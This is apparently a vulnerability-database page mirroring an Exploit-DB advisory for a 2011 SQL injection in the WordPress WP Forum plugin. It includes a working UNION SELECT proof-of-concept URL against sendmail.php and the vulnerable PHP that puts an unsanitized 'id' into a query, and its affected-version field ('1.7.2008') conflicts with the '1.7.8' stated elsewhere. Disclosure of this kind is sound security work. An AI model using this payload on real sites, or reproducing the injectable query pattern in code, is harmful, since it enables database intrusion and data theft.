WordPress WP Forum plugin - exploit.company

vendor:

WP Forum

by:

Miroslav Stampar

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: WP Forum

Affected Version From: 1.7.2008

Affected Version To: 1.7.2008

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:wp_forum

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

WordPress WP Forum plugin <= 1.7.8 SQL Injection Vulnerability

The vulnerability exists due to insufficient sanitization of user-supplied input in 'id' parameter of 'sendmail.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary SQL commands in application's database. This can be exploited to disclose sensitive information, modify data, compromise the system, etc.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All input data should be carefully verified before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: WordPress WP Forum plugin <= 1.7.8 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wpforum.1.7.8.zip
# Version: 1.7.8 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/wpforum/sendmail.php?action=quote&id=-1 UNION ALL SELECT @@version,2,3

---------------
Vulnerable code
---------------
...

else if(isset($_GET['action']) && $_GET['action'] == 'quote'){
	
	global $wpdb, $table_posts;
	$id = $_GET['id'];

	$text = $wpdb->get_row("SELECT text, author_id, date FROM $table_posts WHERE id = $id");
	$u = new WP_user($text->author_id);
	echo htmlentities("<blockquote><b>QUOTE</b> ($u->nickname @ ".date(get_option('forum_date_format'), strtotime($text->date)).")\n $text->text</blockquote>");